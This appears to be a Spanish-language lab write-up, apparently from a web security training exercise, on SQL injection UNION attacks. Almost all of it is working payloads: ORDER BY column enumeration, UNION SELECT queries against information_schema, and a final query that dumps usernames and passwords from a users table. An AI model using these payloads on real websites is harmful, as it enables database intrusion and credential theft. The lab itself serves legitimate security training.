LAB 2 - SQL Injection UNION Attack (Data Retrieval)

Objetivo: Extraer nombres de usuario y contraseñas de la base de datos.

1. Detectar Columnas e Inyectabilidad

- **Punto de entrada:** `GET /filter?category=(categoria)'`
- **Enumerar columnas:** Prueba incrementando el número hasta que de error:
  - `' ORDER BY 1--`
  - `' ORDER BY 2--` (Si aquí funciona y con 3 falla, hay **2 columnas**).

2. Mapeo del Entorno (PostgreSQL/MySQL)

Usa `UNION SELECT` para obtener información del sistema:

Paso	Acción	Payload (Inyectar en URL)
A	Confirmar Columnas	`' UNION SELECT NULL, NULL--`
B	Listar Esquemas	`' UNION SELECT NULL, schema_name FROM information_schema.schemata--`
C	Listar Tablas	`' UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_schema='public'--`
D	Listar Columnas	`' UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name='users'--`

3. Exfiltración Final (The Dump)

Una vez identificadas las columnas (ej: `username` y `password`), extrae los datos:

- **Payload:** `' UNION SELECT username, password FROM users--`
- **Resultado:** Verás la lista de credenciales en la respuesta HTML.